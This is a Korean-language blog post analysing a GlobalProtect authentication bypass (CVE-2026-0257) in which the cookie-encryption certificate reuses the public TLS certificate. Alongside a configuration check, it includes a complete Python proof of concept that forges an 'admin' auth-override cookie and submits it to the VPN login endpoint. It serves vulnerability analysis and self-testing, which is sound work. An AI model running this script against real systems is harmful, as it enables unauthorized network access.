본문 바로가기
cve

[CVE-2026-0257] PaloAlto Networks GlobalProtect 인증 우회 취약점 심층 분석

by ms-eo 2026. 6. 1.

오늘은 Palo Alto Networks PAN-OS 및 Prisma Access의 중간 심각도 인증 우회 취약점(CVE-2026-0257)에 대해 심층 분석해 보고, 이를 안전하게 검증하고 방어하는 방법을 공유하고자 합니다.

본 취약점은 최초 공개 당시 CVSSv4 점수 기준 Medium 수준으로 분류되었으나, 엔터프라이즈 VPN(GlobalProtect)의 인증을 무력화할 수 있다는 점에서 실제 위협 수준은 Critical에 가깝다고 생각합니다. 

1. Overview

  • 취약점 번호: CVE-2026-0257
  • 영향 받는 대상: 특정 구성이 존재하는 Palo Alto Networks PAN-OS 및 Prisma Access (GlobalProtect 활성화 장비)
  • 위협 영향: 원격의 인증되지 않은 공격자가 취약한 어플라이언스의 GlobalProtect 게이트웨이를 통해 유효한 VPN 세션을 강제로 수립하고 내부망 침투 시도 가능
  • 최초 악용 관찰: 2026년 5월 17일경부터 호스팅 제공업체 인프라를 통한 공격 유입 확인

2. Technical Analysis

이 취약점은 GlobalProtect의 기능 중 하나인 인증 재정의와 인증서 재사용에 있습니다.

매커니즘 흐름 및 취약점 원인

  1. 인증 재정의 쿠키 : GlobalProtect는 사용자가 최초 로그인에 성공하면 일종의 Bearer Token 역할을 하는 암호화된 쿠키를 발급합니다. 이후 사용자는 재인증 없이 이 쿠키만 제출하면 세션을 연장할 수 있습니다.
  2. 서명 검증의 부재 : PAN-OS 내부의 GlobalProtect 서비스 바이너리(/usr/local/bin/gpsvc)를 리버싱 해보면, 수신된 쿠키를 Base64로 디코딩한 뒤 내부 개인키로 복호화(main_DecryptAppAuthCookie)하여 사용자명, 타임스탬프 등을 추출합니다. 문제는 이 과정에서 위변조를 막기 위한 별도의 서명 검증(HMAC 등)을 전혀 거치지 않고 복호화된 내용을 그대로 신뢰한다는 점입니다.
  3. 결정적인 원인: 외부 TLS 인증서의 재사용 쿠키를 암/복호화할 때 사용하는 인증서를 외부 사용자가 접속하는 HTTPS 서비스인증서와 동일한 인증서로 공유하여 설정한 경우 문제가 터집니다. 비대칭 암호화 특성상 HTTPS 연결 과정에서 누구나 서버의 공개키를 획득할 수 있기 때문입니다.

결론적으로: 공격자는 외부로 노출된 웹 TLS 인증서에서 공개키를 추출한 뒤, 서명 검증이 없다는 점을 악용하여 admin과 같은 임의의 계정 정보가 담긴 위조 쿠키를 직접 암호화(공개키 이용)해 서버에 던집니다. 서버는 자신의 개인키로 이것이 올바르게 복호화되므로 정상적인 접근으로 오인하고 인증을 우회시켜 주게 됩니다.

3. 검증 및 모니터링 방법

방법 A: 관리 콘솔을 통한 내부 설정 검토

외부에서 공격 페이로드를 전송하지 않고도, 방화벽 내부 설정을 대조하여 취약 여부를 100% 확정할 수 있습니다.

  1. 웹 GUI 로그인
  2. 체크포인트 1 (웹 서비스 인증서 확인): Network -> GlobalProtect -> Portals (또는 Gateways) -> 포털 클릭 -> Authentication 탭의 SSL Service Profile에 지정된 인증서 확인
  3. 체크포인트 2 (쿠키 암호화 인증서 확인): 동일 메뉴의 Agent -> 에이전트 설정 -> Authentication Override 탭의 Cookie Encryption Certificate에 지정된 인증서 확인

주의: 만약 체크포인트 1과 2에 지정된 인증서가 서로 일치(동일 인증서 재사용)한다면 취약한 상태입니다. 만약 관련 메뉴(Portals/Gateways)에 아무런 설정이 없다면 해당 VPN 기능을 쓰지 않는 것이므로 이 취약점으로부터 안전합니다.

방법 B: 파이썬 기반 원격 진단 스크립트

자체 테스트 환경이나 Staging 장비의 취약 여부를 점검하기 위해 알려진 PoC 로직을 구현한 파이썬 코드입니다. 외부 TLS 인증서를 수집하여 가상 쿠키를 생성한 뒤 엔드포인트 응답을 확인합니다.

Python
 
import argparse
import ssl
import socket
import base64
import requests
import urllib3
from datetime import datetime, timezone
from cryptography import x509
from cryptography.hazmat.primitives.asymmetric import padding

# SSL 경고 숨기기 (자가 서명 인증서 테스트 환경 대응)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def get_certificate_chain(target, port):
    # 대상 인프라에서 TLS 인증서 체인을 안전하게 추출
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    
    chain_certs = []
    try:
        with socket.create_connection((target, port), timeout=5) as sock:
            with context.wrap_socket(sock, server_hostname=target) as ssock:
                # 내부 SSL 객체로부터 확인된 인증서 체인 바이너리 획득
                cert_binary_chain = ssock._sslobj.get_verified_chain()
                for cert_binary in cert_binary_chain:
                    cert = x509.load_der_x509_certificate(cert_binary)
                    chain_certs.append(cert)
    except Exception as e:
        print(f"인증서 체인 추출 실패: {e}")
    return chain_certs

def create_raw_cookie_data(user, domain, host_id, client_os, client_ip):

    # 2026년 기준 표준 UTC 타임스탬프 생성
    timestamp = int(datetime.now(timezone.utc).timestamp())
    
    payload_str = f"user={user};domain={domain};hostid={host_id};os={client_os};ip={client_ip};ts={timestamp}"
    return payload_str.encode('utf-8')

def encrypt_with_public_key(public_key, raw_data):
    # 추출된 공개키(RSA)를 사용하여 표준 규격(PKCS#1 v1.5)으로 암호화 후 인코딩
    try:
        encrypted = public_key.encrypt(
            raw_data,
            padding.PKCS1v15()
        )
        return base64.b64encode(encrypted).decode('utf-8')
    except Exception:
        # RSA 키 쌍이 아니거나 크기가 맞지 않는 경우 예외 처리
        return None

def test_cookie(target, port, cookie, verbose):
    # 생성된 토큰 유효성을 GlobalProtect 엔드포인트에 전송하여 검증
    url = f"https://{target}:{port}/ssl-vpn/login.esp"
    
    # 벤더의 Cookie 기반 인증 요청 폼 데이터 구성
    payload = {
        "portal-userauthcookie": cookie,
        "client-os": "Windows",
        "protocol": "https"
    }
    
    headers = {
        "User-Agent": "PanConnect",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    try:
        response = requests.post(url, data=payload, headers=headers, verify=False, timeout=5)
        if verbose:
            print(f"[DEBUG] HTTP Status: {response.status_code}")
            print(f"[DEBUG] Response Body: {response.text[:300]}")
            
        # PAN-OS는 정상 복호화 및 세션 수락 시 특정 auth-status 또는 관련 세션 XML 플래그를 반환
        if response.status_code == 200 and ("success" in response.text.lower() or "auth-status" in response.text):
            return True
    except Exception as e:
        if verbose:
            print(f"[-] 통신 오류: {e}")
    return False

def main():
    parser = argparse.ArgumentParser(description="PAN-OS GlobalProtect Auth Override Configuration Checker")
    parser.add_argument("--target", required=True, help="테스트 대상 IP 또는 도메인")
    parser.add_argument("--port", type=int, default=443, help="서비스 포트 (기본값: 443)")
    parser.add_argument("--user", default="admin", help="테스트할 사용자 계정명")
    parser.add_argument("--domain", default="", help="도메인 필드")
    parser.add_argument("--host-id", default="", help="호스트 식별자 필드")
    parser.add_argument("--client-os", default="Windows", help="클라이언트 OS 환경")
    parser.add_argument("--client-ip", default="0.0.0.0", help="클라이언트 소스 IP")
    parser.add_argument("--verbose", action="store_true", help="디버깅용 상세 응답 출력")
    
    args = parser.parse_args()

    print(f"연결 시도 및 인증서 체인 수집 중: {args.target}:{args.port}")
    certs = get_certificate_chain(args.target, args.port)
    
    if not certs:
        print("검증을 진행할 수 없음. 대상 포트 상태 및 SSL 활성화 여부를 확인 필요")
        return

    print(f"총 {len(certs)}개의 인증서가 체인에서 발견됨")
    for idx, cert in enumerate(certs):
        print(f"[{idx}] 주체(Subject): {cert.subject.rfc4514_string()}")

    print(f"\n'{args.user}' 계정에 대한 테스트 데이터 생성 및 순차 검증 시작")
 
    raw_data = create_raw_cookie_data(args.user, args.domain, args.host_id, args.client_os, args.client_ip)

    for idx, cert in enumerate(certs):
        print(f"-> 체인 [{idx}] 키 검증 시도 중")
        
        public_key = cert.public_key()
        tempered_cookie = encrypt_with_public_key(public_key, raw_data)
        
        if not tempered_cookie:
            print(f"실패: RSA 공개키 추출 불가 또는 지원되지 않는 알고리즘 유형")
            continue
            
        is_vulnerable = test_cookie(args.target, args.port, tempered_cookie, args.verbose)
        
        if is_vulnerable:
            print(f"취약점이 감지됨!")
            print(f"이유: 서버가 외부 웹 TLS 인증서(인덱스 [{idx}])의 키로 생성된 인증 오버라이드 데이터를 수락함")
            print(f"생성된 토큰: {tempered_cookie[:60]}...")
            return
        else:
            print(f"결과: 인증서 [{idx}]로 생성된 토큰이 거부됨 (정상 혹은 미일치)")

    print("진단 종료: 제공된 인증서 체인의 키 정보로는 구성 오류가 발견되지 않음")

if __name__ == "__main__":
    main()
  • 장비가 정상적으로 GlobalProtect를 서비스 중이고 취약 구성 상태라면 위조된 쿠키에 대해 HTTP 200 응답을 반환하며, 서비스 경로가 없거나 안전하다면 404 거부 메시지가 표시됩니다.

궁금한 점이나 의견이 있으시면 댓글로 남겨주세요!

'cve' 카테고리의 다른 글

CVE 및 KVE 발급 후기  (0) 2025.11.19